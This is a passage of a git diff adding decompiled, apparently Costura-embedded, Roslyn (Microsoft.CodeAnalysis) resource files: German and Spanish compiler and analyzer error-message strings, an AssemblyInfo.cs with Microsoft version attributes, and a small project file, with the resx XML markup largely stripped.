-1 sind ungültig. + Die angegebene Operation weist ein übergeordnetes Element ungleich NULL auf. + Der Name des Konfigurationsabschnitts des globalen Analysemoduls ist ungültig, weil es sich nicht um einen absoluten Pfad handelt. Der Abschnitt wird ignoriert. + Absoluter Pfad erwartet. + Ungültige Daten bei Offset {0}: {1}{2}*{3}{4} + Die spezifische Fehlerursache kann nicht ermittelt werden. + Verweise zu XML-Dokumenten werden nicht unterstützt. + Der Datenstrom ist zu lang. + Rückgabetyp darf kein Wertetyp, Zeiger, durch Verweis oder offener generischer Typ sein + Der zugrunde liegende Typ für ein Tupel muss tupelkompatibel sein. + Ausnahme mit dem folgenden Kontext: +{0} + Der Typ "{0}" wird vom Serialisierungsbinder nicht verstanden. + Inkonsistente Syntaxbaumfeatures + Die Interoptypen aus dem Modul konnten nicht eingebettet werden. + SourceText kann nicht eingebettet werden. Geben Sie bei der Erstellung die Codierung oder "canBeEmbedded=true" an. + Der Stream enthält ungültige Daten. + Zeit (s) + Das Modul weist ungültige Attribute auf. + Der Syntaxbaum gehört nicht zur zugrunde liegenden "Compilation". + Ungültiger Hash. + 'Die "/keepalive"-Option ist nur zusammen mit der "/shared"-Option gültig. + Private Members sollten beim Ausgeben an die sekundäre Assemblyausgabe nicht einbezogen werden. + Die InternalsVisibleToAttribute-Informationen für die aktuelle Kompilierung und alle Assemblys, auf die verwiesen wird, werden gedruckt. + Der von {0}.ResolveStrongNameKeyFile zurückgegebene Pfad muss absolut sein: '{1}' + Fehler beim Suchen der Regelsatzdatei "{0}" + Assemblysignierung nicht unterstützt. + Die gemeldete Diagnose "{0}" enthält einen Quellspeicherort "{1}" in der Datei "{2}", der sich außerhalb der angegebenen Datei befindet. + Der aufzuzeichnende Knoten ist kein untergeordnetes Element des Stamms. + Der angegebene Operationsblock gehört nicht zum aktuellen Analysekontext. + Das angegebene Element ist kein Element einer Liste. + Delegat + In den Datenstrom kann nicht geschrieben werden. + Der Wert für das Argument "/shared:" darf nicht leer sein. + Der Deserialisierungsreader für "{0}" hat eine falsche Anzahl von Werten gelesen. + Das Analysetool "{0}" enthält einen NULL-Deskriptor in "SupportedDiagnostics". + Zu einer Übermittlung konnte kein Verweis erstellt werden. + Der von {0}.ResolveMetadataFile zurückgegebene Pfad muss absolut sein: '{1}' + Nicht aufgelöst: + Argument für "/keepalive"-Option ist keine 32-Bit-Ganzzahl. + Der Bereich enthält nicht den Beginn einer Zeile. + Ein Metadatenverweis auf eine Assembly ohne Speicherort kann nicht erstellt werden. + Ungültiger Kulturname: '{0}' + Ungültiger Instrumentierungstyp: {0} + Tupel müssen mindestens zwei Elemente enthalten. + Die Änderungen müssen sortiert sein und dürfen sich nicht überschneiden. + Roslyn-Compilerserver meldet unterschiedliche Protokollversion als in Erstellungsaufgabe. + Gesamtausführungszeit des Analysetools: {0} Sekunden. + Kompilierungs-Optionen dürfen keine Fehler enthalten. + Typ "{0}" kann nicht serialisiert werden. + Metadaten-PE-Stream sollte nicht ausgegeben werden, wenn nur die Ausgabe von Metadaten erfolgt. + Leerer oder ungültiger Ressourcenname + Rückgabetyp darf kein ungültiger, durch Verweis oder offener generischer Typ sein + Windows PDB Writer unterstützt keine SourceLink-Funktion: "{0}" + Ungültiges Token für den öffentlichen Schlüssel + Die Diagnose "{0}: {1}" wurde durch einen DiagnosticSuppressor mit der Unterdrückungs-ID "{2}" und der Begründung "{3}" programmgesteuert unterdrückt. + Fehlendes Argument für "/keepalive"-Option. + <In-Memory-Modul> + Generator + Die angegebene Operation weist ein NULL-Semantikmodell auf. + Die Version von Windows PDB Writer ist älter als die erforderliche Version: "{0}" + Falsche Reihenfolge für Knoten oder Token. + Einbetten von PDB ist beim Ausgeben von Metadaten nicht zulässig. + Metadatenverweis auf eine dynamische Assembly kann nicht erstellt werden. + Die unterdrückte Diagnose-ID "{0}" entspricht nicht der unterdrückbaren ID "{1}" für den angegebenen Deskriptor zur Unterdrückung. + Win32-Ressourcen, bei denen angenommen wird, dass sie im COFF-Objektformat vorhanden sind, weisen einen oder mehrere ungültige Symbolwerte auf. + Stream muss Lese- und Suchvorgänge unterstützen. + Aufzählung + Die gemeldete Diagnose "{0}" weist einen Quellspeicherort in der Datei "{1}" auf, die nicht Teil der Kompilierung ist, die analysiert wird. + Feld + Der Name darf nicht leer sein. + Gesamtausführungszeit des Generators: {0} Sekunden. + Bei Win32-Ressourcen, bei denen angenommen wird, dass sie im COFF-Objektformat vorhanden sind, fehlen ein oder beide Abschnitte der Dateien '.rsrc$01' und '.rsrc$02' + Wenn Tupelelementnamen angegeben werden, muss die Anzahl der Elementnamen mit der Kardinalität des Tupels übereinstimmen. + "Bearbeiten und Fortfahren" kann den angehaltenen Iterator nicht fortsetzen, da die entsprechende yield return-Anweisung gelöscht wurde + Ungültiger Inhaltstyp + {0}.GetMetadata() muss eine Instanz von {1} zurückgeben. + Die gemeldete Diagnose weist die ID "{0}" auf, die kein gültiger Bezeichner ist. + Modulverweis auf eine Assembly kann nicht erstellt werden. + Wenn Nullable-Anmerkungen für Tupelelemente angegeben werden, muss die Anzahl von Anmerkungen der Kardinalität des Tupels entsprechen. + Das Argument enthält doppelte Analyseinstanzen. + Name darf nicht mit einem Leerzeichen beginnen. + Arrays mit mehr als einer Dimension können nicht serialisiert werden. + Das Ändern der Version eines Assemblyverweises ist während des Debuggens nicht zulässig: "{0}" hat die Version in "{1}" geändert. + Die gemeldete Diagnose mit ID "{0}" wird vom Diagnoseanalysetool nicht unterstützt. + Für diese Option muss ein Sprachenname angegeben werden. + Methodensymbol erwartet + Ausgabetyp wird nicht unterstützt. + Trennzeichen erwartet. + Ein Knoten in der Liste weist nicht den erwarteten Typ auf. + Der hintName „{0}“ enthält ein ungültiges Segment „{1}“ an Position {2}. + {0} muss "Standard" sein oder die gleiche Länge wie {1} aufweisen. + Der Name darf nicht NULL sein. + Änderungen müssen innerhalb der Grenzen von "SourceText" erfolgen. + Nicht unterstützter Hashalgorithmus. + Ressourcenstreamanbieter sollte einen nicht-Null-Stream zurückgeben. + WindowsRuntime-Identität darf nicht anzielbar sein + Das Argument enthält eine Analysetoolinstanz, die nicht zu den Analysetools für diese CompilationWithAnalyzers-Instanz gehört. + Verweisen auf Netzmodul beim Ausgeben der Referenzassembly nicht möglich. + Typ "{0}" kann nicht deserialisiert werden. + Der Datenstrom muss lesbar sein. + Schnittstelle + Win32-Ressourcen, bei denen angenommen wird, dass sie im COFF-Objektformat vorhanden sind, weisen einen oder mehrere gültige Umzugskopfzeilenwerte auf. + Die Analyse "{0}" hat eine Ausnahme vom Typ "{1}" mit der Meldung "{2}" ausgelöst. +{3} + <In-Memory-Assembly> + {0} und {1} müssen die gleiche Länge aufweisen. + Der hintName "{0}" der hinzugefügten Quelldatei muss innerhalb eines Generators eindeutig sein. + Ein Tupelelement darf kein leerer String sein. + Die Übermittlung weist einen ungültigen Ausgabetyp auf. DynamicallyLinkedLibrary erwartet. + Ein SuppressionDescriptor muss eine ID aufweisen, die weder NULL noch eine leere Zeichenfolge noch eine Zeichenfolge ist, die nur Leerzeichen enthält. + Der Stream muss schreibbar sein. + Ungültiger Assemblyname: '{0}' + Ungültiger Alias. + Konstruktor + Es wurden keine Analysetools gefunden. + Assembly muss mindestens ein Modul aufweisen. + Edit and Continue kann die angehaltene asynchrone Methode nicht fortsetzen, da der entsprechende await-Ausdruck gelöscht wurde + Ressourcendatenanbieter sollte einen Nicht-Null-Stream zurückgeben + Die nicht gemeldete Diagnose mit der ID "{0}" kann nicht unterdrückt werden. + Der Ressourcendatenstrom endete bei {0} Bytes. Erwartet wurden {1} Bytes. + PE-Abbild enthält keine verwalteten Metadaten. + Leerer oder ungültiger Dateiname + Zurück + Der Analysetreiber hat eine Ausnahme vom Typ "{0}" mit der Meldung "{1}" ausgelöst. +{2} + Dateigröße überschreitet die maximal zulässige Größe einer gültigen Metadatendatei. + Der Bereich umfasst nicht das Ende einer Zeile. + Vorherige Übermittlung enthält Fehler. + Die Kompilierung verweist auf mehrere Assemblys, deren Versionen sich nur hinsichtlich der automatisch generierten Build- oder Revisionsversionsnummern unterscheiden. + Programmgesteuerte Unterdrückung einer Analysetooldiagnose + Assemblydatei nicht gefunden + Ungültiger, öffentlicher Schlüssel. + Aus dem Datenstrom kann nicht gelesen werden. + Der Verweis vom Typ "{0}" ist für diese Kompilierung ungültig. + Die angeforderte Zeilennummer {0} muss kleiner als die Anzahl der Zeilen {1} sein. + Ein "DiagnosticDescriptor" muss eine ID aufweisen, die nicht NULL, keine leere Zeichenfolge und keine Zeichenfolge ist, die nur Leerzeichen enthält. + Die gemeldete Unterdrückung mit der ID "{0}" wird vom Unterdrückungsmodul nicht unterstützt. + Der angegebene Vorgang darf nicht Bestandteil eines Ablaufsteuerungsdiagramm sein. + Pro Generator kann nur ein einzelner {0} registriert werden. + Typ muss dem Hostobjekttyp der vorherigen Übermittlung entsprechen. + Wenn Tupelelementstandorte angegeben werden, muss die Anzahl von Standorten der Kardinalität des Tupels entsprechen. + Aktuelle Assembly: "{0}" + "{0}" ist kein gültiger Name für einen integrierten Operator. + Nicht unterstützter integrierter Operator: {0} + Unzulässiger integrierter Operator namens "{0}" + "Ende" darf nicht kleiner sein als "Start". start='{0}' end='{1}'. + Zu einem Modul konnte kein Verweis erstellt werden. + Analysefehler + Nicht leerer öffentlicher Schlüssel erwartet + Fehler beim Laden der eingeschlossenen Regelsatzdatei {0} - {1} + Assemblyname enthält ungültige Zeichen. + HINWEIS: Die verstrichene Zeit kann kürzer als die Ausführungszeit des Analysetools sein, da Analysetools parallel ausgeführt werden können. + Argument darf kein Nullelement enthalten. + Argument darf nicht leer sein. + Assembly + Typparameter + 'Start' darf nicht negativ sein + Größe muss positiv sein. + Ein Wert in "pathMap" ist NULL. + \ No newline at end of file diff --git a/decompiled/Libraries/de.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.de.resx b/decompiled/Libraries/de.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.de.resx new file mode 100644 index 0000000..102d6b5 --- /dev/null +++ b/decompiled/Libraries/de.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.de.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Die Untergrenze des Zielarrays muss bei null liegen. + Der Typ des Zielarrays ist mit dem Typ der Elemente in der Sammlung nicht kompatibel. + Die Liste hatte eine feste Größe. + Die Sammlung wurde geändert. Der Enumerationsvorgang kann möglicherweise nicht ausgeführt werden. + Die Zahl war kleiner als die Untergrenze des Arrays in der ersten Dimension. + Das Zielarray ist nicht lang genug, um alle Elemente in der Sammlung zu kopieren. Prüfen Sie den Index und die Länge des Arrays. + Fehler beim Vergleichen von zwei Elementen im Array. + Es wurde bereits ein Element mit dem gleichen Schlüssel hinzugefügt. Schlüssel: {0} + Die angegebenen Arrays müssen die gleiche Dimensionsanzahl aufweisen. + Offset und Länge für das Array liegen außerhalb des gültigen Bereichs, oder die Anzahl ist größer als die Anzahl der Elemente vom Index bis zum Ende der Quellsammlung. + Sortieren nicht möglich, da die IComparer.Compare()-Methode inkonsistente Ergebnisse zurückgibt. Entweder ist ein Wert nicht mit sich identisch, oder ein wiederholt mit einem anderen Wert verglichener Wert gibt verschiedene Ergebnisse aus. IComparer: '{0}'. + Die Anzahl muss positiv sein und auf eine Position in der dem Zeichenfolge/Array/Sammlung verweisen. + Der Index lag außerhalb des Bereichs. Er darf nicht negativ und kleiner als die Sammlung sein. + Das Objekt ist kein Array mit derselben Anzahl an Elementen wie das Array, mit dem es verglichen wird. + Kapazität lag unter der aktuellen Größe. + Nur eindimensionale Arrays werden für die angeforderte Aktion unterstützt. + Das Mutieren einer von einem Wörterbuch abgeleiteten Wertsammlung ist nicht zulässig. + Größer als die Kollektionsgröße. + Der Index muss sich innerhalb der Listenbegrenzung befinden. + Nicht negative Zahl erforderlich. + Der alte Wert wurde nicht gefunden. + Vorgänge, die nicht parallele Sammlungen ändern, müssen exklusiven Zugriff besitzen. Für diese Sammlung wurde ein paralleles Update durchgeführt, das einen Statusfehler ausgelöst hat. Der Status der Sammlung ist nicht mehr korrekt. + Der angegebene Schlüssel "{0}" war nicht im Wörterbuch vorhanden. + Das Mutieren einer von einem Wörterbuch abgeleiteten Schlüsselsammlung ist nicht zulässig. + Das Zielarray war nicht lang genug. Überprüfen Sie den Zielindex, die Länge und die Untergrenze des Arrays. + Die Kapazität einer Hashtabelle ist negativ, da sie übergelaufen ist. Überprüfen Sie den Lastfaktor, die Kapazität und die aktuelle Tabellengröße. + Das Quellarray war nicht lang genug. Überprüfen Sie den Quellindex, die Länge und die Untergrenze des Arrays. + {0} ist kein Wert des Typs {1} und kann in dieser generischen Sammlung nicht verwendet werden. + Entweder wurde die Enumeration noch nicht gestartet oder bereits beendet. + \ No newline at end of file diff --git a/decompiled/Libraries/de.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/de.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..437c68c --- /dev/null +++ b/decompiled/Libraries/de.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/de.microsoft.codeanalysis.resources/costura.de.microsoft.codeanalysis.resources.csproj b/decompiled/Libraries/de.microsoft.codeanalysis.resources/costura.de.microsoft.codeanalysis.resources.csproj new file mode 100644 index 0000000..8050a23 --- /dev/null +++ b/decompiled/Libraries/de.microsoft.codeanalysis.resources/costura.de.microsoft.codeanalysis.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/es.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.es.resx b/decompiled/Libraries/es.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.es.resx new file mode 100644 index 0000000..71dea46 --- /dev/null +++ b/decompiled/Libraries/es.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.es.resx @@ -0,0 +1,2705 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Los resultados sin origen deben tener la opción /out especificada + División entre constante cero + Los tipos y los alias no deben denominarse "record". + '{0}' no es un argumento de atributo con nombre válido porque no es un tipo de parámetro de atributo válido + El comentario XML tiene XML formado incorrectamente + La restricción "new()" no se puede utilizar con la restricción "unmanaged" + Omisión de algunos tipos en el ensamblado de analizador {0} por una ReflectionTypeLoadException: {1}. + El campo está asignado pero nunca se usa su valor + registros + Un árbol de expresión no puede contener un operador de asignación + No se encuentran uno o varios tipos necesarios para compilar una expresión dinámica. ¿Falta alguna referencia? + '{0}' está obsoleto: '{1}' + El atributo condicional no es válido en '{0}' porque es un constructor, destructor, operador, expresión lambda o implementación de interfaz explícita + Los miembros del parámetro de constructor principal '{0}' de un tipo de solo lectura no se pueden devolver mediante una referencia grabable + Los patrones de segmento solo se pueden utilizar una vez directamente dentro de un patrón de lista. + Nombre de módulo no válido: {0} + La interfaz ya está en la lista de interfaces con una nulabilidad diferente de los tipos de referencia. + "{0}": no se permiten conversiones definidas por el usuario ni a un tipo base ni desde él + '{0}': no se puede hacer referencia a un tipo a través de una expresión; pruebe con '{1}' + Versión de compilador: "{0}". Versión de lenguaje: {1}. + iteradores + Se omitirá /win32manifest para el módulo porque solo se aplica a ensamblados + La página de código '{0}' no es válida o no está instalada + El miembro obsoleto '{0}' invalida el miembro no obsoleto '{1}' + Falta la comilla de cierre en el literal de cadena. + El valor generado puede ser NULL. + Uso de la propiedad implementada automáticamente posiblemente sin asignar '{0}'. Considere la posibilidad de actualizar a la versión de idioma "{1}" para establecer automáticamente el valor predeterminado de la propiedad. + 'No se puede hacer que '{0}' acepte valores NULL. + declaraciones using + El tiempo de ejecución de destino no admite la implementación de interfaz predeterminada. + Compilación cancelada por el usuario + Las referencias de metadatos no son compatibles. + El cuerpo de una consulta debe terminar con una cláusula select o group + La expresión dada no coincide nunca con el patrón proporcionado. + Los descriptores de acceso "init" no se pueden marcar como "readonly". Marque en su lugar "{0}" como readOnly. + El operador ''&'' no debe usarse en parámetros o variables locales en métodos asincrónicos. + La instrucción switch contiene varios casos con el valor de etiqueta '{0}' + Se esperaba un identificador; '{1}' es una palabra clave + Valor de '{0}' no válido: '{1}'. + El parámetro de tipo "{0}" tiene el mismo nombre que el parámetro de tipo del método externo "{1}" + Un árbol de expresión no puede contener una operación de puntero no segura + Se encontró un carácter no válido dentro de una referencia de entidad. + Una expresión lambda de árbol de expresión no puede contener un método con argumentos variables + El switch de la línea de comandos aún no está implementado + El compilador amplió y extendió el signo de una variable. Luego, utilizó el valor resultante en una operación OR bit a bit. Esto puede provocar un comportamiento inesperado. + El operador * o -> se debe aplicar a un puntero + Nombre no válido para un símbolo de preprocesamiento; "{0}" no es un identificador válido + El operador '{0}' no se puede aplicar a operandos del tipo '{1}' y '{2}' + enteros de tamaño nativo + No se puede marcar al tipo como conforme a CLS porque es miembro de un tipo no conforme a CLS + El atributo CallerMemberNameAttribute no tendrá efecto: lo reemplaza el atributo CallerLineNumberAttribute + Los miembros de {0} "{1}" no se pueden devolver por referencia grabable porque es una variable readonly. + El atributo InterpolatedStringHandlerArgumentAttribute aplicado al parámetro "{0}" tiene un formato incorrecto y no se puede interpretar. Construya manualmente una instancia de "{1}". + La línea dada tiene '{0}' caracteres, que es menor que el número de caracteres proporcionado '{1}'. + '{0}' no puede declarar un cuerpo porque está marcado como abstracto + Incoherencia de accesibilidad: el tipo de evento '{1}' es menos accesible que el evento '{0}' + El miembro '{0}' invalida el miembro obsoleto '{1}'. Agregue el atributo Obsolete a '{0}'. + Se detectó código inaccesible + El tipo o el miembro no necesitan un atributo CLSCompliant porque el ensamblador no tiene un atributo CLSCompliant + No se puede usar el parámetro de constructor principal '{0}' en este contexto. + No se encontró ninguna implementación del patrón de consulta para el tipo de origen '{0}'. No se encontró '{1}'. Puede especificar de forma explícita el tipo de la variable de rango '{2}'. + '{0}' no es un número de advertencia válido + El tipo '{3}' no se puede usar como parámetro de tipo '{2}' en el tipo o método genérico '{0}'. No hay ninguna conversión de referencia implícita de '{3}' a '{1}'. + El método, el operador o el descriptor de acceso están marcados como externos y no tienen atributos + El método de controlador de cadena interpolada "{0}" tiene un formato incorrecto. No devuelve "void" ni "bool". + El patrón de descarte no se permite como etiqueta de caso en una instrucción switch. Use "case var _:" para un patrón de descarte o "case @_:" para una constante con el nombre '_'. + La convención de llamada de "{0}" no es compatible con "{1}". + No se puede usar un tipo de referencia que acepte valores NULL en la creación de objetos. + El nombre del destructor debe coincidir con el nombre del tipo + Error de sintaxis de la línea de comandos: "{0}" no es un valor válido para la opción "{1}". El valor debe tener el formato "{2}". + "{0}" no es un método de instancia, el receptor no puede ser un argumento de controlador de cadena interpolada. + Esta referencia asigna "{1}" a "{0}", pero "{1}" solo puede escapar del método actual mediante una instrucción "return". + No se puede pasar la variable de rango '{0}' como parámetro out o ref + Un bucle foreach debe declarar sus variables de iteración. + parámetros de tipo sin restricciones en operador de incorporación nulo + El atributo DllImport se debe especificar en un método marcado como 'static' y 'extern' + método parcial + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + La característica "{0}" no está disponible en C# 11.0. Use la versión de lenguaje {1} u otra superior. + La característica "{0}" no está disponible en C# 10.0. Use la versión {1} del lenguaje o una posterior. + El campo '{0}' está asignado pero su valor nunca se usa + No se pueden proporcionar resultados en el cuerpo de una cláusula finally + <espacio de nombres> + El operador 'await' solo se puede usar en una expresión de consulta dentro de la primera expresión de colección de la cláusula 'from' inicial o de la expresión de colección de una cláusula 'join' + El valor predeterminado especificado para el parámetro '{0}' no tendrá efecto porque se aplica a un miembro que se usa en contextos que no permiten argumentos opcionales + "{0}": la declaración explícita de la interfaz solo se puede declarar en una clase, registro, estructura o interfaz + No se puede definir de nuevo el alias externo global + El método 'Slice' de la matriz insertada no se usará para la expresión de acceso de elementos. + El atributo CLSCompliant no tiene ningún significado cuando se aplica a parámetros. Pruebe a incluirlo en el método. + Esta advertencia se produce cuando un bloque catch() no tiene especificado un tipo de excepción después de un bloque catch (System.Exception e). La advertencia avisa de que el bloque catch() no abarcará ninguna excepción. + +Un bloque catch() después de un bloque catch (System.Exception e) puede abarcar excepciones que no sean CLS si RuntimeCompatibilityAttribute se establece como falso en el archivo AssemblyInfo.cs: [assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]. Si este atributo no se establece explícitamente como falso, todas las excepciones que no sean CLS lanzadas se ajustarán como Excepciones y el bloque catch (System.Exception e) las abarcará. + El atributo CallerArgumentExpressionAttribute aplicado al parámetro no tendrá ningún efecto porque es autorreferencial. + Una variable out no se puede declarar como ref local + No se puede usar await en una cláusula catch + El operador '{0}' requiere que también se defina una versión no comprobada coincidente del operador + espacio de nombres con ámbito de archivo + No se pueden deconstruir los objetos dinámicos. + No se puede usar una expresión en este contexto porque no se puede pasar ni devolver por referencia. + Una opción /reference que declara un alias externo solo puede tener un nombre de archivo. Para especificar varios alias o nombres de archivo, utilice varias opciones /reference. + La conversión de una expresión stackalloc del tipo "{0}" al tipo "{1}" no es posible. + Falta el delimitador de cierre '}' de la expresión interpolada que empieza por '{'. + Debe especificar el atributo CLSCompliant en el ensamblado, no en el módulo, para habilitar la comprobación de conformidad con CLS + El modificador 'scoped' solo se puede usar para referencias y valores de estructura de referencia. + La instrucción foreach no puede funcionar en variables de tipo "{0}" porque "{0}" no contiene ninguna definición de extensión o instancia pública para "{1}". + Error al leer el archivo de conjunto de reglas {0}: {1} + No llame directamente al método Finalize del tipo base. Se llama automáticamente desde el destructor. + '{0}': el valor del enumerador es demasiado grande para ajustarse a su tipo + El archivo especificado tiene '{0}' líneas, que es menor que el número de línea proporcionado '{1}'. + Nombre de archivo no válido especificado para la directiva del preprocesador. Nombre de archivo demasiado largo o no válido. + El tipo o el miembro están obsoletos + No se puede convertir la expresión en '{0}' porque no se puede pasar ni devolver por referencia + Los argumentos de tipo para el método '{0}' no se pueden inferir a partir del uso. Pruebe a especificar los argumentos de tipo explícitamente. + Posible argumento de referencia nulo + grupo de &métodos + Falta el atributo de archivo + Falta el atributo 'path' + El tipo '{0}' sin administrar no es válido para los campos. + Error al firmar la salida con una clave pública del contenedor '{0}': {1} + El operador '{0}' requiere que también se defina un operador coincidente '{1}' + Un inicializador de campo no puede hacer referencia al campo, método o propiedad no estáticos '{0}' + propiedades de solo lectura implementadas automáticamente + El espacio de nombres "{1}" ya contiene una definición para "{0}" en este archivo. + No se pueden usar campos del campo estático de solo lectura '{0}' como valores out o ref (excepto en un constructor estático). + Esta referencia asigna "{1}" a "{0}", pero "{1}" tiene un ámbito de escape más limitado que "{0}". + modificadores de acceso en propiedades + Los tipos y alias no se pueden denominar 'scoped'. + El token "{0}" no es válido en una clase, un registro, una estructura o una declaración de miembro de interfaz + No se encontró el archivo de metadatos '{0}' + La llamada a un miembro que no es de solo lectura desde un miembro "readonly" da como resultado una copia implícita. + El espacio de nombres con ámbito de archivo debe preceder a todos los demás miembros de un archivo. + "{0}" no tiene un tamaño predefinido; por tanto, sizeof solo se puede usar en un contexto no seguro + Se ha especificado una ruta de acceso de búsqueda '{0}' no válida en '{1}': '{2}' + No se puede convertir {0} en el tipo "{1}" porque los tipos de parámetros no coinciden con los tipos de parámetros delegados + Solo los miembros conformes a CLS pueden ser abstractos + private protected + El ensamblado y el módulo '{0}' no pueden tener como destino procesadores distintos. + Un árbol de expresión no puede contener una expresión de intervalo (".."). + El modificador de tipo de referencia del parámetro '{0}' no coincide con el parámetro correspondiente '{1}' en el destino. + "{0}" no es un tipo de controlador de cadena interpolada. + El modificador de clase de referencia del parámetro '{0}' no coincide con el parámetro correspondiente '{1}' en el miembro oculto. + La propiedad implementada automáticamente '{0}' se lee antes de asignarse explícitamente, lo que provoca una asignación implícita anterior de 'default'. + No se puede usar await en el cuerpo de una instrucción lock + No se puede usar un campo estático de solo lectura como valor out o ref (excepto en un constructor estático). + Uso de la propiedad implementada automáticamente posiblemente sin asignar. Considere la posibilidad de actualizar la versión de idioma para establecer automáticamente el valor predeterminado de la propiedad. + El atributo '{0}' no es válido en descriptores de acceso de propiedades o eventos. Solo es válido en declaraciones '{1}'. + El modificador 'scoped' del parámetro '{0}' no coincide con el '{1}' de destino. + La cadena de versión especificada ''{0}'' contiene caracteres comodín, que no son compatibles con el determinismo. Quite los caracteres comodín de la cadena de versión o deshabilite el determinismo para esta compilación. + La nulabilidad de los tipos de referencia del especificador de interfaz explícito no coincide con la interfaz que el tipo implementa. + El uso de matrices como argumentos de atributo no es conforme a CLS + Alias externo sin usar + Número no válido + parámetros de descarte de lambda + El resultado de una expresión stackalloc de este tipo en este contexto puede exponerse fuera del método contenedor + varianza de tipo + el directorio no existe + Para que '{0}' sea aplicable como operador de cortocircuito, su tipo declarativo '{1}' debe definir un operador true y otro false + descartable + Se espera un inicializador de matriz anidada + Solo los tipos de clase pueden contener destructores + Asumiendo que la referencia al ensamblaje coincide con la identidad + La referencia de ensamblado '{0}' no es válida y no se puede resolver + tipo de delegado inferido + Devuelve un parámetro por referencia a través de un parámetro ref; pero solo se puede devolver de forma segura en una instrucción "return" + No hay ningún tipo de destino para el literal predeterminado. + La asignación de deconstrucción requiere una expresión con un tipo en el lado derecho. + Alineación de sección de archivo no válida "{0}" + Los métodos anónimos, las expresiones lambda, las expresiones de consulta y las funciones locales incluidos en estructuras no pueden obtener acceso a miembros de instancia de "this". Puede copiar "this" en una variable local fuera del método anónimo, la expresión lambda, la expresión de consulta o la función local y usar la variable local en su lugar. + No se puede asignar a un miembro de {0} "{1}" o usarlo como el lado derecho de una asignación de referencia porque es una variable de solo lectura + La nulabilidad de los tipos de referencia del tipo de "{0}" no coincide con el miembro "{1}" implementado de forma implícita. + El miembro condicional '{0}' no puede implementar el miembro de interfaz '{1}' en el tipo '{2}' + La nulabilidad de los tipos de referencia del tipo de valor devuelto de "{0}" no coincide con el miembro "{1}" implementado de forma implícita. + La clase estática '{0}' no se puede derivar del tipo '{1}'. Las clases estáticas se deben derivar del objeto. + Los campos del campo estático de solo lectura "{0}" no se pueden devolver por referencia grabable. + El tipo '{0}' está definido en este ensamblado, pero se ha especificado un reenviador de tipos para él + No se puede acceder al patrón. Ya se ha administrado mediante un indicador anterior de la expresión switch o no se pudo hacer coincidir. + Una expresión es demasiado larga o compleja para compilarla + Se esperaba un comentario de una línea o un fin de línea después de la directiva #pragma + '{0}': la propiedad del evento debe tener los descriptores de acceso add y remove + Devuelve un parámetro por referencia "{0}", pero tiene como ámbito el método actual + Se esperaba { o ; o =>. + El ensamblador al que se hace referencia tiene como objetivo a otro procesador + No se encuentra la clase contenedora '{0}' de la coclase administrada para la interfaz '{1}' (¿falta alguna referencia de ensamblado?) + '{0}' no implementa el patrón '{1}'. '{2}' es ambiguo con '{3}'. + Opción "{0}" no válida para /langversion. Use "/langversion:?" para enumerar los valores admitidos. + Un nombre calificado con el alias no es una expresión. + Se esperaba un identificador. + No está definido el tipo '{0}'. + El valor 'goto case' no se puede convertir implícitamente en el tipo '{0}' + La asignación en una expresión condicional siempre es constante + El miembro condicional '{0}' no puede tener ningún parámetro out + No se puede usar await en un contexto no seguro. + Una instrucción incrustada no puede ser una declaración o una instrucción con etiqueta + "{0}" debe permitir la invalidación porque el registro contenedor no está sellado. + Un tipo que acepta valores NULL puede ser nulo. + funciones locales estáticas + El constructor está marcado como externo + La operación puede desbordarse en tiempo de ejecución (use la sintaxis "sin activar" para invalidarla). + inicializador de colección + El tipo predefinido '{0}' no está definido ni importado + propiedades implementadas automáticamente + reasignación de referencias + Un patrón de tipo "{0}" no se puede controlar por un patrón de tipo "{1}". Use la versión de lenguaje "{2}" o superior para buscar un tipo abierto con un patrón constante. + La llamada al método '{0}' enviada de forma dinámica puede dar error en tiempo de ejecución porque una o varias sobrecargas aplicables son métodos condicionales. + El tipo o el miembro están obsoletos + El constructor '{0}' está marcado como externo + '{0}': las clases estáticas no pueden implementar interfaces + La estructura de interoperabilidad incrustada '{0}' solo puede contener campos de instancia públicos. + No puede derivar de '{0}' porque es un parámetro de tipo + El tipo de una variable local declarado en una instrucción "fixed" debe ser un tipo de puntero + alias externo + Tipo de valor devuelto no válido en el atributo cref del comentario XML + El tipo "{0}" no se puede usar en este contexto porque no se puede representar en metadatos. + La nulabilidad de los tipos de referencia del tipo de valor devuelto no coincide con el miembro implementado (posiblemente debido a los atributos de nulabilidad). + El atributo CLSCompliant no tiene 